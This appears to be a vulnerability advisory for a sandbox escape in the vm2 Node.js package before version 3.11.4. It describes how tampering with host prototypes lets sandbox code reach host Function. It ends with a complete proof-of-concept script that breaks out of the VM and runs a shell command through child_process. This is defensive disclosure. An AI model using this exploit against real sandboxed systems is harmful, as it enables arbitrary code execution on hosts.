Improper Control of Dynamically-Managed Code Resources Affecting vm2 package, versions <3.11.4

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources through the lib/bridge.js apply trap and thisEnsureThis proto-walk. An attacker can obtain host prototype-mutating intrinsics such as Object.prototype.__proto__ and invoke them with a wrapped host object as this by sending crafted call/apply/bind or Reflect.apply/Reflect.construct indirections, severing a host prototype chain and causing a later host error to be returned to sandbox code unwrapped. Once the bridge stops recognizing the tampered host object, sandbox code can read e.constructor.constructor to reach host Function and execute arbitrary host-side code, breaking out of the VM and exposing the underlying process.

"use strict";

const { VM } = require("vm2");
const vm = new VM();

vm.run(`
  "use strict";

  const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__");
  const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__");

  async function f() {
    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      setProto.call(getProto.call(e), null);
    }

    try {
      await WebAssembly.compileStreaming();
    } catch(e) {
      const HostFunction = e.constructor.constructor;
      new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" });
    }
  }

  f();
`);

• GitHub Commit
• Maintainer's Advisory